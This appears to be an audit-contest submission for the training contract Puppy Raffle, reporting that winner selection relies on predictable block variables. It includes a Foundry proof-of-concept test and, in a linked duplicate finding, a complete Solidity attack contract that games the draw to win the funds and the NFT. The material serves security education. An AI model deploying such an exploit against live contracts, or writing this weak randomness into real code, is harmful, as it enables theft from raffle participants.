Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

# H-04 Winner selection randomness is manipulable and predictable

cybernerd

Description

  • Normal behavior: raffle winner and rarity should be selected using an unbiased entropy source resistant to caller and block-level manipulation.

  • Issue: randomness uses msg.sender, block.timestamp, and block.difficulty, all of which are predictable or influenceable. Adversaries can optimize sender/timing, and block producers/searchers can bias inclusion toward favorable outcomes.

uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; // @>
​
uint256 rarity =
uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100; // @>

Risk

Likelihood:

  • Every draw uses publicly known, low-entropy inputs.

  • Competitive environments with MEV/searchers naturally optimize transaction timing/caller selection.

Impact:

  • Fairness is compromised; rational adversaries gain statistical edge in winner/rarity outcomes.

  • Economic value can be extracted from manipulated draws at the expense of honest participants.

Proof of Concept

function testPoC_CallerCanChooseDifferentWinnerIndexes() public {
address[4] memory entrants;
entrants[0] = address(0x401);
entrants[1] = address(0x402);
entrants[2] = address(0x403);
entrants[3] = address(0x404);
for (uint256 i = 0; i < entrants.length; i++) {
vm.deal(entrants[i], ENTRANCE_FEE);
_enter(entrants[i]);
}
vm.warp(block.timestamp + DURATION + 1);
vm.roll(block.number + 1);
​
address[8] memory callers;
callers[0] = address(0x501);
callers[1] = address(0x502);
callers[2] = address(0x503);
callers[3] = address(0x504);
callers[4] = address(0x505);
callers[5] = address(0x506);
callers[6] = address(0x507);
callers[7] = address(0x508);
uint256 baselineIndex =
uint256(keccak256(abi.encodePacked(callers[0], block.timestamp, block.difficulty))) % entrants.length;
​
for (uint256 i = 1; i < callers.length; i++) {
uint256 idx =
uint256(keccak256(abi.encodePacked(callers[i], block.timestamp, block.difficulty))) % entrants.length;
if (idx != baselineIndex) {
vm.prank(callers[i]);
raffle.selectWinner();
assertEq(raffle.previousWinner(), entrants[idx]); // caller controls winner index
break;
}
}
}

Recommended Mitigation

- keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
+ // Integrate Chainlink VRF (or robust commit-reveal with delay and anti-last-look constraints)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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